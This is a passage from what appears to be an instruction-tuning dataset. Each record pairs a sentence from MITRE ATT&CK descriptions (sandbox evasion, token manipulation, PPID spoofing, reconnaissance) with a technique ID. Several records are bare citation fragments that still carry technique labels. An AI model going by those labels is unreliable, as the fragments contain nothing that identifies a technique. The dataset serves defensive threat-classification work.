sandbox. ### Response: T1497.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant.", "output": "T1497.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. ### Response: T1497.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may also search for VME artifacts before dropping secondary or additional payloads.", "output": "T1497.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also search for VME artifacts before dropping secondary or additional payloads. ### Response: T1497.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)", "output": "T1497.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) ### Response: T1497.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop.", "output": "T1497.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. ### Response: T1497.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017)", "output": "T1497.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ### Response: T1497.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).", "output": "T1141", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)). ### Response: T1141."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper)", "output": "T1141", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) ### Response: T1141."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation:", "output": "T1141", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: ### Response: T1141."}{"instruction": "List the MITRE techniques contained in the text.", "input": "LogRhythm Do You Trust Oct 2014)(Citation:", "output": "T1141", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: LogRhythm Do You Trust Oct 2014)(Citation: ### Response: T1141."}{"instruction": "List the MITRE techniques contained in the text.", "input": "OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm", "output": "T1141", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm ### Response: T1141."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Do You Trust Oct 2014)(Citation:", "output": "T1141", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Do You Trust Oct 2014)(Citation: ### Response: T1141."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Enigma Phishing for Credentials Jan 2015).", "output": "T1141", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Enigma Phishing for Credentials Jan 2015). ### Response: T1141."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create and cultivate accounts with services that can be used during targeting.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create and cultivate accounts with services that can be used during targeting. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can create accounts that can be used to build a persona to further operations.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can create accounts that can be used to build a persona to further operations. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Persona development consists of the development of public information, presence, history and appropriate affiliations.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Persona development consists of the development of public information, presence, history and appropriate affiliations. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For operations incorporating social engineering, the utilization of an online persona may be important.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For operations incorporating social engineering, the utilization of an online persona may be important. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These personas may be fictitious or impersonate real people.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These personas may be fictitious or impersonate real people. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.).", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Establishing a persona may require development of additional documentation to make them seem real.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Establishing a persona may require development of additional documentation to make them seem real. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create accounts with cloud providers that can be used during targeting.", "output": "T1585.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create accounts with cloud providers that can be used during targeting. ### Response: T1585.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s.", "output": "T1585.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. ### Response: T1585.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure.", "output": "T1585.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. ### Response: T1585.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)", "output": "T1585.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud) ### Response: T1585.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Creating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002) to register with the cloud provider.", "output": "T1585.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Creating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002) to register with the cloud provider. ### Response: T1585.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network.", "output": "T1072", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. ### Response: T1072."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).", "output": "T1072", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.). ### Response: T1072."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system.", "output": "T1072", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. ### Response: T1072."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.", "output": "T1072", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. ### Response: T1072."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network infrastructure may also have administration tools that can be similarly abused by adversaries.", "output": "T1072", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network infrastructure may also have administration tools that can be similarly abused by adversaries. ### Response: T1072."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)", "output": "T1072", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation) ### Response: T1072."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required.", "output": "T1072", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. ### Response: T1072."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, the system may require an administrative account to log in or to perform it's intended purpose.", "output": "T1072", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, the system may require an administrative account to log in or to perform it's intended purpose. ### Response: T1072."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may steal data by exfiltrating it over an existing command and control channel.", "output": "T1041", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may steal data by exfiltrating it over an existing command and control channel. ### Response: T1041."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.", "output": "T1041", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Stolen data is encoded into the normal communications channel using the same protocol as command and control communications. ### Response: T1041."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows uses access tokens to determine the ownership of a running process.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows uses access tokens to determine the ownership of a running process. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When this occurs, the process also takes on the security context associated with the new token.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When this occurs, the process also takes on the security context associated with the new token. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)).", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary must already be in a privileged user context (i.e. administrator) to steal a token.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary must already be in a privileged user context (i.e. administrator) to steal a token. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges.", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "New processes are typically spawned directly from their parent, or calling, process unless explicitly specified.", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009)", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation:", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft UAC Nov 2018)", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft UAC Nov 2018) ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018)", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation:", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process.", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017) ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's business relationships that can be used during targeting.", "output": "T1591.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's business relationships that can be used during targeting. ### Response: T1591.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about an organization\u2019s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.", "output": "T1591.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about an organization\u2019s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. ### Response: T1591.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information may also reveal supply chains and shipment paths for the victim\u2019s hardware and software resources.", "output": "T1591.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information may also reveal supply chains and shipment paths for the victim\u2019s hardware and software resources. ### Response: T1591.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1591.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1591.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)", "output": "T1591.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) ### Response: T1591.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195),", "output": "T1591.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), ### Response: T1591.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1591.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1591.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather the victim's physical location(s) that can be used during targeting.", "output": "T1591.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather the victim's physical location(s) that can be used during targeting. ### Response: T1591.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed.", "output": "T1591.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about physical locations of a target 